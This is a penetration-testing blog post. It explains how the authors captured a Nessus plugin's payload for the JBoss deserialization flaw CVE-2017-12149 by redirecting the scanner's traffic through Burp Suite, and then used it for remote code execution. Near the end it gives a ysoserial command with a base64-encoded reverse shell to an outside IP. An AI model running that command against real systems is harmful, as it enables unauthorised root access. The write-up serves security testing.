Contact us

A lazy way to reverse Nessus payloads using MiTM capabilities

Table of contents


In this post we will introduce you how to intercept and reverse the payload generated by the Nessus’s closed source plugins.

So we asked ourselves: is it possible to see what Nessus is doing under the hood?

Nessus is a proprietary tool developed by an American company named Tenable Inc, used for Vulnerability Assessment engagements by Cyber Security Companies. It can be used to scan single hosts or whole networks raising an alert if it discovers any vulnerabilities that can be abused to obtain access to the victim’s system. Nessus scans cover a wide range of technologies including operating systems, network devices, hypervisors, databases, web servers, and critical infrastructure.

The process of adding new security checks and release them into the general public domain is done by Tenable Inc. research staff. The Advanced Scan templates include an option that allows selecting which program has to be executed to find a specific vulnerability. Those programs, also known as plugins, are written using the Nessus Attack Scripting Language (NASL). Each plugin has some information about the vulnerability discovered: the impact that may have on an organization, the remediation, and, when is available, the Proof of Concept to verify the vulnerability.

During the last Red Team engagement, CYS4 has performed several manual and automatic testing activities. The automated part was done with the help of Nessus that has shown a potentially critical vulnerability (CVE-2017-12149) on a host:

JBoss RCE vulnerability identified by Nessus
JBoss RCE vulnerability identified by Nessus

At this point, many organizations would have stopped and reported to the client the finding identified by the automatic scanner without going into details of the issue, but in CYS4 we do things differently by trying harder ;)

From Nessus’s output, it was clear that it has successfully crafted a serialized object obtaining a custom error message from the victim but it was not able to leverage that vulnerability into a Remote Code Execution (RCE). In particular, DNS traffic was blocked by a firewall, so it was not possible to use a safer common payloads like URLDNS.

For this reason, we decided to reverse the plugin functionality, trying to understand how Nessus was able to trigger the custom error message.

At this stage we found three possible options:

  1. Reverse the Nessus Script Language engine
  2. Hook the engine functionalities
  3. Perform a lazy MiTM attack to intercept the traffic.

We chose the third option, because it was more straightforward. In addition, some changes to NASL debugging module didn’t allow an easy instrumentation of the plugin module.


The first idea that came up to our minds to intercept the traffic, was using iptables to forward the Nessus traffic to the local HTTP proxy server (which, in our case, was Burp Suite). Because we had to run Nessus and the proxy in the same machine, we couldn’t use the PREROUTING table, as it only applies to packets coming from outside: a feasible workaround was to modify the destination port on packets OUTPUT sent by our Nessus process. The catch is that it could also have affected packets output by Burp Suite, getting into a routing loop. In order to solve this, it was necessary to capture only non-root traffic and run Nessus as an unprivileged user, as mentioned in this guide1.

According to the official Nessus documentation2, we had to follow these steps:

1. Install Nessus

2. Create a non-root account to run the Nessus service

# useradd -r nonprivuser

3. Remove ‘world’ permissions on Nessus binaries in the /sbin directory

# chmod 750 /opt/nessus/sbin/*

4. Change ownership of /opt/nessus to the non-root user.

# chown nonprivuser:nonprivuser -R /opt/nessus

5. Set capabilities on nessusd and nessus-service

# setcap "cap_sys_resource+eip" /opt/nessus/sbin/nessusd
# setcap "cap_sys_resource+eip" /opt/nessus/sbin/nessus-service
# setcap "cap_net_admin,cap_net_raw,cap_sys_resource+eip" /opt/nessus/sbin/nessusd
# setcap "cap_net_admin,cap_net_raw,cap_sys_resource+eip" /opt/nessus/sbin/nessus-service

The capabilities we set above have the following meaning:

  • cap_net_admin is the capability that refers to the ability to put interface in promiscuous mode;
  • cap_net_raw is used to create raw sockets for packet forgery;
  • cap_sys_resource allows to set resource limits.

6. Remove and add the following lines to the /usr/lib/systemd/system/nessusd.service script

  • Remove: ExecStart=/opt/nessus/sbin/nessus-service -q
  • Add: ExecStart=/opt/nessus/sbin/nessus-service -q --no-root
  • Add: User=nonprivuser

The resulting script appeared as follows:

ExecStart=/opt/nessus/sbin/nessus-service -q --no-root
ExecReload=/usr/bin/pkill nessusd


Furthermore, it was necessary to erase all the iptables rules and enable kernel IP forwarding:

# iptables -t nat -F
# sysctl -w net.ipv4.ip_forward=1

After that, we configured iptables to redirect traffic through the proxy:

# iptables -t nat -A OUTPUT -p tcp -m owner ! --uid-owner root --dport 443 -j REDIRECT --to-port 8080

… and we could finally run Nessus with the lowest privileges:

# systemctl daemon-reload
# service nessusd start


In our new set up environment, we finally succeeded in intercepting the Nessus request which could trigger the vulnerability. To reach our goal,we also decided to disable all the Nessus plugins and run a scan targeting the vulnerable host:

Request sent by Nessus to trigger RCE vulnerability
Request sent by Nessus to trigger RCE vulnerability

By analyzing the payload, it appeared like a serialized object which leveraged vulnerable CommonCollections libraries. So we were able to build a reverse shell payload using the ysoserial tool and the CommonCollections3 Java deserialization gadget:

java -cp . -jar ysoserial.jar CommonCollections3 "bash -c {echo,c2ggLWkgNTw+IC9kZXYvdGNwLzE5Mi54eHgueHh4Lnh4eC80NDUgMDwmNSAxPiY1IDI+JjUK}|{base64,-d}|{bash,-i}" > test.ser

After sending the malicious payload to the vulnerable server, we obtained Remote Code Execution (RCE) in the root user context using a reverse shell:

Request that could trigger RCE vulnerability sent using curl command
Request that could trigger RCE vulnerability sent using curl command
Request received by local nc server
Request received by local nc server


Simplifying the exploitation phase is crucial when time is limited. In this case, due to the time restrictions applied by the customer, intercepting the Nessus payload helped to successfully reduce the time spent in the exploitation phase for this target and allowed us to expand our attack surface.


exploit   reverse-engineering

Alessio Dalla Piazza

Alessio Dalla Piazza

Security Consultant always passionate about Cyber Security and technology. I am currently CTO of CYS4 where with our activities we aim to increase the safety of our customers. Some of my public finding includes 0days in commercial products such as Skype, Safari, VMWare and IBM-WebSphere.

Andrea Perazzoli

Andrea Perazzoli

Penetration Tester interested in Mobile, Web Penetration Testing and Red Teaming.